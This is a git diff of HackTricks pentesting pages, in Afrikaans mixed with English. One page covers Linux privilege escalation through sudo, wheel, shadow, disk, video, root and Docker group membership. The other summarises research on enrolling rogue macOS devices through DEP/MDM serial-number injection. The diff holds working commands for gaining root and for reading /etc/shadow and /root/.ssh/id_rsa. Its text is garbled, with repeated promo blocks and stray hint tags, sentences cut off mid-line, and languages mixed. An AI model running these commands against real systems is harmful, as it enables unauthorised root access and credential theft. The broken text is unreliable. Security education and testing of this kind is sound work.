<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Sudo/Admin Groepe
|
||||
|
||||
## **PE - Metode 1**
|
||||
|
||||
**Soms**, **standaard \(of omdat sommige sagteware dit nodig het\)** binne die **/etc/sudoers** lêer kan jy van hierdie lyne vind:
|
||||
**Soms**, **per standaard \(of omdat sommige sagteware dit benodig\)** binne die **/etc/sudoers** lêer kan jy sommige van hierdie lyne vind:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
@ -25,43 +26,45 @@ Ander maniere om HackTricks te ondersteun:
|
|||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Dit beteken dat **enige gebruiker wat behoort tot die groep sudo of admin enigiets as sudo kan uitvoer**.
|
||||
Dit beteken dat **enige gebruiker wat tot die groep sudo of admin behoort, enigiets as sudo kan uitvoer**.
|
||||
|
||||
Indien dit die geval is, kan jy **root word deur net die volgende uit te voer**:
|
||||
As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## PE - Metode 2
|
||||
|
||||
Vind alle suid-binêre en kyk of die binêre **Pkexec** daar is:
|
||||
Vind alle suid binaire en kyk of daar die binaire **Pkexec** is:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
As jy vind dat die binaêre pkexec 'n SUID-binaêre is en jy behoort aan sudo of admin, kan jy waarskynlik binaêre lêers uitvoer as sudo deur pkexec te gebruik.
|
||||
Kyk na die inhoud van:
|
||||
As jy vind dat die binêre pkexec 'n SUID-binêre is en jy behoort tot sudo of admin, kan jy waarskynlik binêre uitvoer as sudo met behulp van pkexec.
|
||||
Kontroleer die inhoud van:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **standaard** in sommige Linux kan sommige van die groepe **sudo of admin** voorkom.
|
||||
Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** kan sommige van die groepe **sudo of admin** **verskyn**.
|
||||
|
||||
Om **root te word kan jy uitvoer**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
As jy probeer om **pkexec** uit te voer en jy kry hierdie **fout**:
|
||||
As jy probeer om **pkexec** uit te voer en jy kry hierdie **error**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI aangesluit is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy benodig **2 verskillende ssh-sessies**:
|
||||
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh-sessies** nodig:
|
||||
|
||||
{% code title="sessie1" %}
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
#Step 5, if correctly authenticate, you will have a root session
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="sessie2" %}
|
||||
```bash
|
||||
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
||||
|
@ -71,29 +74,29 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
|
||||
# Wielgroep
|
||||
|
||||
**Soms**, **standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
|
||||
**Soms**, **per standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
Dit beteken dat **enige gebruiker wat behoort tot die groep wheel enigiets as sudo kan uitvoer**.
|
||||
Dit beteken dat **enige gebruiker wat tot die groep wheel behoort, enigiets as sudo kan uitvoer**.
|
||||
|
||||
As dit die geval is, kan jy **root word deur net uit te voer**:
|
||||
As dit die geval is, om **root te word kan jy net uitvoer**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# Skadugroep
|
||||
# Shadow Groep
|
||||
|
||||
Gebruikers van die **skadugroep** kan die **/etc/shadow**-lêer **lees**:
|
||||
Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
So, lees die lêer en probeer om **sommige hashe te kraak**.
|
||||
So, lees die lêer en probeer om **sommige hashes te kraak**.
|
||||
|
||||
# Skyf Groep
|
||||
|
||||
Hierdie voorreg is amper **gelykwaardig aan root-toegang** aangesien jy toegang het tot alle data binne-in die masjien.
|
||||
Hierdie voorreg is byna **gelyk aan worteltoegang** aangesien jy toegang het tot al die data binne die masjien.
|
||||
|
||||
Lêers: `/dev/sd[a-z][1-9]`
|
||||
Lêers:`/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
debugfs /dev/sda1
|
||||
debugfs: cd /root
|
||||
|
@ -101,47 +104,47 @@ debugfs: ls
|
|||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
Let daarop dat jy met behulp van debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy die volgende doen:
|
||||
Let wel dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy doen:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
Egter, as jy probeer om lêers wat deur root besit word te skryf (soos `/etc/shadow` of `/etc/passwd`), sal jy 'n "Toestemming geweier" fout kry.
|
||||
However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Toegang geweier**" error.
|
||||
|
||||
# Video Groep
|
||||
|
||||
Met die opdrag `w` kan jy **sien wie op die stelsel aangemeld is** en dit sal 'n uitset soos die volgende een toon:
|
||||
Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
Die **tty1** beteken dat die gebruiker **yossi fisies ingeteken** is op 'n terminaal op die masjien.
|
||||
Die **tty1** beteken dat die gebruiker **yossi fisies ingelog is** op 'n terminal op die masjien.
|
||||
|
||||
Die **video groep** het toegang om die skermuitset te sien. Jy kan basies die skerms waarneem. Om dit te doen, moet jy die huidige beeld op die skerm in rou data vasvang en die resolusie kry wat die skerm gebruik. Die skerminligting kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm vind in `/sys/class/graphics/fb0/virtual_size`.
|
||||
Die **video-groep** het toegang om die skermuitset te sien. Basies kan jy die skerms observeer. Om dit te doen, moet jy die **huidige beeld op die skerm** in rou data gryp en die resolusie wat die skerm gebruik, kry. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm op `/sys/class/graphics/fb0/virtual_size` vind.
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
Om die **rou beeld** oop te maak, kan jy **GIMP** gebruik, kies die **`screen.raw`** lêer en kies as lêertipe **Rou beelddata**:
|
||||
Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die **`screen.raw`** lêer en kies as lêertipe **Raw image data**:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28208%29.png)
|
||||
|
||||
Wysig dan die Breedte en Hoogte na die waardes wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter wys\):
|
||||
Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes \(en kies die een wat die skerm beter wys\):
|
||||
|
||||
![](../../.gitbook/assets/image%20%28295%29.png)
|
||||
|
||||
# Root Groep
|
||||
|
||||
Dit lyk asof **lede van die root groep** standaard toegang kan hê om sekere **dienskonfigurasie-lêers** of sekere **biblioteeklêers** of **ander interessante dinge** te wysig wat gebruik kan word om voorregte te verhoog...
|
||||
Dit lyk of **lede van die root groep** standaard toegang kan hê om **te wysig** sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog...
|
||||
|
||||
**Kyk watter lêers root-lede kan wysig**:
|
||||
**Kontroleer watter lêers root lede kan wysig**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker Groep
|
||||
|
||||
Jy kan die wortel lêerstelsel van die gasheer rekenaar aan 'n instansie se volume koppel, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief beheer oor die rekenaar.
|
||||
Jy kan die wortel lêersisteem van die gasheer masjien aan 'n instansie se volume monteer, sodat wanneer die instansie begin, dit onmiddellik 'n `chroot` in daardie volume laai. Dit gee jou effektief wortel op die masjien.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
|
@ -149,20 +152,19 @@ Jy kan die wortel lêerstelsel van die gasheer rekenaar aan 'n instansie se volu
|
|||
|
||||
# lxc/lxd Groep
|
||||
|
||||
[lxc - Bevoorregte Eskalasie](lxd-privilege-escalation.md)
|
||||
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,70 @@
|
|||
# Inskrywing van Toestelle in Ander Organisasies
|
||||
# Enrolling Devices in Other Organisations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Inleiding
|
||||
## Intro
|
||||
|
||||
Soos [**voorheen genoem**](./#what-is-mdm-mobile-device-management)**,** is dit nodig om 'n toestel in 'n organisasie in te skryf **slegs 'n Serienommer wat aan daardie Organisasie behoort**. Sodra die toestel ingeskryf is, sal verskeie organisasies sensitiewe data op die nuwe toestel installeer: sertifikate, programme, WiFi-wagwoorde, VPN-konfigurasies [en so aan](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Dit kan dus 'n gevaarlike toegangspunt vir aanvallers wees as die inskrywingsproses nie korrek beskerm word nie.
|
||||
Soos [**voorheen kommentaar**](./#what-is-mdm-mobile-device-management)**,** om 'n toestel in 'n organisasie te probeer registreer, **is slegs 'n Serienommer wat aan daardie Organisasie behoort, nodig**. Sodra die toestel geregistreer is, sal verskeie organisasies sensitiewe data op die nuwe toestel installeer: sertifikate, toepassings, WiFi wagwoorde, VPN konfigurasies [en so aan](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Daarom kan dit 'n gevaarlike toegangspunt vir aanvallers wees as die registrasieproses nie korrek beskerm word nie.
|
||||
|
||||
**Die volgende is 'n opsomming van die navorsing [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Kyk daarvoor vir verdere tegniese besonderhede!**
|
||||
**Die volgende is 'n opsomming van die navorsing [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Kyk daarna vir verdere tegniese besonderhede!**
|
||||
|
||||
## Oorsig van DEP en MDM Binêre Analise
|
||||
## Oorsig van DEP en MDM Binaire Analise
|
||||
|
||||
Hierdie navorsing ondersoek die binêre lêers wat verband hou met die Device Enrollment Program (DEP) en Mobile Device Management (MDM) op macOS. Sleutelkomponente sluit in:
|
||||
Hierdie navorsing delf in die binaire wat geassosieer word met die Toestel Registrasie Program (DEP) en Mobiele Toestel Bestuur (MDM) op macOS. Sleutelkomponente sluit in:
|
||||
|
||||
- **`mdmclient`**: Kommunikeer met MDM-bedieners en veroorsaak DEP-inchecks op macOS-weergawes voor 10.13.4.
|
||||
- **`profiles`**: Bestuur Konfigurasieprofiel en veroorsaak DEP-inchecks op macOS-weergawes 10.13.4 en later.
|
||||
- **`cloudconfigurationd`**: Bestuur DEP API-kommunikasie en haal Toestelinskrywingsprofiel op.
|
||||
- **`mdmclient`**: Kommunikeer met MDM bedieners en aktiveer DEP aanmeldings op macOS weergawes voor 10.13.4.
|
||||
- **`profiles`**: Bestuur Konfigurasie Profiele, en aktiveer DEP aanmeldings op macOS weergawes 10.13.4 en later.
|
||||
- **`cloudconfigurationd`**: Bestuur DEP API kommunikasies en haal Toestel Registrasie profiele op.
|
||||
|
||||
DEP-inchecks maak gebruik van die `CPFetchActivationRecord` en `CPGetActivationRecord` funksies van die private Konfigurasieprofiel-raamwerk om die Aktiveringsrekord op te haal, waar `CPFetchActivationRecord` deur middel van XPC met `cloudconfigurationd` saamwerk.
|
||||
DEP aanmeldings gebruik die `CPFetchActivationRecord` en `CPGetActivationRecord` funksies van die private Konfigurasie Profiele raamwerk om die Aktivering Rekord op te haal, met `CPFetchActivationRecord` wat saamwerk met `cloudconfigurationd` deur XPC.
|
||||
|
||||
## Tesla-Protokol en Absint-Skema-Ontleding
|
||||
## Tesla Protokol en Absinthe Skema Omgekeerde Ingenieurswese
|
||||
|
||||
Die DEP-incheck behels dat `cloudconfigurationd` 'n versleutelde, ondertekende JSON-payload na _iprofiles.apple.com/macProfile_ stuur. Die payload sluit die toestel se serienommer en die aksie "RequestProfileConfiguration" in. Die gebruikte versleutelingsskema word intern as "Absint" verwys. Die ontrafeling van hierdie skema is kompleks en behels verskeie stappe, wat gelei het tot die ondersoek van alternatiewe metodes om arbitrêre serienommers in die Aktiveringsrekordversoek in te voeg.
|
||||
Die DEP aanmelding behels `cloudconfigurationd` wat 'n geënkripteerde, geskrewe JSON payload na _iprofiles.apple.com/macProfile_ stuur. Die payload sluit die toestel se serienommer en die aksie "RequestProfileConfiguration" in. Die enkripsieskema wat gebruik word, word intern as "Absinthe" verwys. Om hierdie skema te ontrafel is kompleks en behels verskeie stappe, wat gelei het tot die verkenning van alternatiewe metodes om arbitrêre serienommers in die Aktivering Rekord versoek in te voeg.
|
||||
|
||||
## DEP Versoeke Proksie
|
||||
## Proxying DEP Versoeke
|
||||
|
||||
Pogings om DEP-versoeke na _iprofiles.apple.com_ te onderskep en te wysig met behulp van hulpmiddels soos Charles Proxy is belemmer deur payload-versleuteling en SSL/TLS-sekuriteitsmaatreëls. Die aktivering van die `MCCloudConfigAcceptAnyHTTPSCertificate`-konfigurasie maak egter omseiling van die sertifikaatvalidering van die bediener moontlik, alhoewel die versleutelde aard van die payload steeds die wysiging van die serienommer sonder die dekripsiesleutel verhoed.
|
||||
Pogings om DEP versoeke na _iprofiles.apple.com_ te onderskep en te wysig met behulp van gereedskap soos Charles Proxy is belemmer deur payload enkripsie en SSL/TLS sekuriteitsmaatreëls. Dit is egter moontlik om die `MCCloudConfigAcceptAnyHTTPSCertificate` konfigurasie in te skakel, wat die bediener sertifikaat validasie omseil, alhoewel die geënkripteerde aard van die payload steeds die wysiging van die serienommer sonder die dekripsiesleutel verhinder.
|
||||
|
||||
## Instrumentering van Stelselbinêre Lêers wat met DEP Interageer
|
||||
## Instrumentering van Stelsels Binaries wat met DEP Interaksie het
|
||||
|
||||
Die instrumentering van stelselbinêre lêers soos `cloudconfigurationd` vereis die deaktivering van Stelselintegriteitsbeskerming (SIP) op macOS. Met SIP gedeaktiveer, kan hulpmiddels soos LLDB gebruik word om aan stelselprosesse te heg en moontlik die serienommer wat in DEP API-interaksies gebruik word, te wysig. Hierdie metode is verkieslik omdat dit die kompleksiteite van toekennings en kodesondertekening vermy.
|
||||
Instrumentering van stelsels binaries soos `cloudconfigurationd` vereis die deaktivering van Stelsel Integriteit Beskerming (SIP) op macOS. Met SIP gedeaktiveer, kan gereedskap soos LLDB gebruik word om aan stelsels prosesse te koppel en moontlik die serienommer wat in DEP API interaksies gebruik word, te wysig. Hierdie metode is verkieslik aangesien dit die kompleksiteite van regte en kode ondertekening vermy.
|
||||
|
||||
**Uitbuiting van Binêre Instrumentering:**
|
||||
Die wysiging van die DEP-versoek-payload voor JSON-serialisering in `cloudconfigurationd` was doeltreffend. Die proses het die volgende ingesluit:
|
||||
**Eksploitering van Binaire Instrumentasie:**
|
||||
Die wysiging van die DEP versoek payload voor JSON serialisering in `cloudconfigurationd` het effektief geblyk. Die proses het behels:
|
||||
|
||||
1. Koppel LLDB aan `cloudconfigurationd`.
|
||||
2. Vind die punt waar die stelselserienommer opgehaal word.
|
||||
3. Voeg 'n arbitrêre serienommer in die geheue in voordat die payload versleutel en gestuur word.
|
||||
2. Vind die punt waar die stelsels serienommer opgevraag word.
|
||||
3. Spuit 'n arbitrêre serienommer in die geheue in voordat die payload geënkripteer en gestuur word.
|
||||
|
||||
Hierdie metode het dit moontlik gemaak om volledige DEP-profiels vir arbitrêre serienommers op te haal, wat 'n potensiële kwesbaarheid aandui.
|
||||
Hierdie metode het toegelaat om volledige DEP profiele vir arbitrêre serienommers te verkry, wat 'n potensiële kwesbaarheid demonstreer.
|
||||
|
||||
### Outomatisering van Instrumentering met Python
|
||||
### Outomatisering van Instrumentasie met Python
|
||||
|
||||
Die uitbuitingsproses is geoutomatiseer met behulp van Python en die LLDB API, wat dit moontlik maak om arbitrêre serienommers outomaties in te voeg en ooreenstemmende DEP-profiels op te haal.
|
||||
Die eksploitasiestap is geoutomatiseer met behulp van Python met die LLDB API, wat dit haalbaar maak om programmaties arbitrêre serienommers in te spuit en ooreenstemmende DEP profiele op te haal.
|
||||
|
||||
### Potensiële Impakte van DEP en MDM-kwesbaarhede
|
||||
### Potensiële Impakte van DEP en MDM Kwesbaarhede
|
||||
|
||||
Die navorsing het beduidende sekuriteitskwessies beklemtoon:
|
||||
|
||||
1. **Inligtingsoopmaking**: Deur 'n DEP-geregistreerde serienommer te voorsien, kan sensitiewe organisatoriese inligting wat in die DEP-profiel bevat word, opgehaal word.
|
||||
2. **Rogue DEP-inskrywing**: Sonder behoorlike outentisering kan 'n aanvaller met 'n DEP-geregistreerde serienommer 'n skelmtoestel in 'n organisasie se MDM-bediener inskryf, wat moontlik toegang tot sensitiewe data en netwerkbronne kan gee.
|
||||
|
||||
Ten slotte, alhoewel DEP en MDM kragtige hulpmiddels bied vir die bestuur van Apple-toestelle in ondernemingsomgewings, bied hulle ook potensiële aanvalsvektore wat beveilig en gemonitor moet word.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
